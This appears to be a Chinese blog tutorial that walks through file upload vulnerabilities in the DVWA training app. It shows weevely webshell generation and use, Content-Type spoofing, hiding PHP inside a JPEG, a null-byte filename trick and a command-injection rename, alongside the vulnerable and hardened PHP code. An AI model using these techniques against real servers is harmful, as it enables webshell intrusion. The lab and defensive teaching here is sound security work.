說起文件上傳漏洞 ,可謂是印象深刻。有次公司的網站突然訪問不到了,同事去服務器看了一下。所有 webroot 文件夾下的所有文件都被重命名成其他文件,比如 jsp 文件變成 jsp.s ,以致於路徑映射不到 jsp 文件,同事懷疑是攻擊者上傳了個 webshell 文件然后進行批量重命名了。
把后台的代碼都找了一遍,后台代碼也都有驗證文件擴展名的,后面是發現一張普通的照片其實是代碼來的,但也不知道為何能夠執行。但看完這篇文章你就會明白了。 下面用 dvwa 來演示如何攻擊和防御。
低級
用戶界面是這樣的,是一個簡單的上傳文件功能。
然而 Hacker 就上傳一個 phpinfo.php 文件
<?
phpinfo();
?>
。。。結果如下
然后打開鏈接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了。
Hacker 想用 webshell 的方式嘗試一下。於是就用 Kali Linux 預裝的 weevely 工具生成一個 webshell 文件,這里的 123456 是密碼,這個 webshell 要用密碼登錄的。
weevely generate 123456 /root/webshell.php
Generated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size.
上傳完文件后,登錄
weevely http://192.168.0.110:5678/hackable/uploads/webshell.php 123456
weevely> ls
dvwa_email.png
webshell.php
www-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
就變成你的地盤我做主了。 再來看看低級代碼。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
為何會變成這樣的呢?覺得主要是沒有限制文件擴展名吧。
中級
而中級代碼,多了文件類型和文件大小的限制
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
這里代碼看上去好像類型都判斷了,應該是不能上傳 php 代碼了吧。 然而 Hacker 打開火狐瀏覽器的調試器(谷歌瀏覽器沒有修改功能,用 brup suite 之類的抓包也可以的),找到對應請求后右鍵選擇-> edit and resend 然后將頭部的 content-type 改掉,再重發請求
結果如下
打開鏈接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,依然能看到熟悉的界面。
高級
中級的代碼有漏洞的原因是用 content-type 去判斷文件類型了,如果用擴展名去判斷還有問題嗎?高級代碼就是這樣想的,代碼如下
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
我嘗試過將 phpinfo.php 改成 phpinfo.php.png ,然而不成功,因為調用了 getimagesize 這個函數,如果不是圖片文件就會返回 false。 但是如果這圖片既是圖片又是代碼呢? 有人能想到了嗎? 11年左右百度貼吧風靡一時圖種。
比如這是大家老婆的圖片
保存下來,將擴展名改成 zip ,再解壓(用命令行 unzip)。。。就有福利。
為什么可以這樣 因為比如文件有特定的 jpg 標識,如果用看圖程序打開,只會去看有圖片標識的那部分,如果用 zip 壓縮文件打開,也只會看有 zip 標識的那部分,其他部分會忽略的。 所以它既是圖片也是種子。因此。我們可以制作類似圖種的東西去注入 webshell。
- windows
copy /b D:\gakki.jpg + D:\webshell.php D:\gakki.jpg
- linux/unix
cat webshell.php >> gakki.jpg
所以我們可以制作一個 “圖php"
cat phpinfo.php >> gakki.jpg
只是上傳后,重命名是個問題。
php 5.4 之下還容易解決,因為那個版本就有個漏洞上傳gakki.php%00.jpg
這種文件會當成gakki.php
來執行的,因為 c語言等語言是用 \0 判斷字符符結束的,所以該會被服務器當成 gakki.php 執行。
在 File Upload 頁面沒法重名了。。。找不到其他方法。唯有借助同一級別下的漏洞比如是命令行注入漏洞
然后輸入在 |mv ../../hackable/uploads/gakki.jpg ../../hackable/uploads/gakki.php
,再訪問文件,結果如下
不可能
不可能級別的代碼有添加了這些
- 使用
imagecreatefromjpeg
或imagecreatefrompng
去掉了不屬於圖片的部分 - 為文件重命名成 隨機字符串。因為如何上傳的文件是 phpshell.php.rar ,Apache 不認識 rar 格式就會向前解析,文件就解析成 phpshell.php 了。
- 用 anti-token 解決一些 CSRF 問題
代碼如下:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
也有其他手段防御文件上傳漏洞(《白帽子講web安全》):
- 設置文件目錄不可以執行
- 給文件服務器設置單獨的域名,因為不同源的原因,請求會被瀏覽器攔截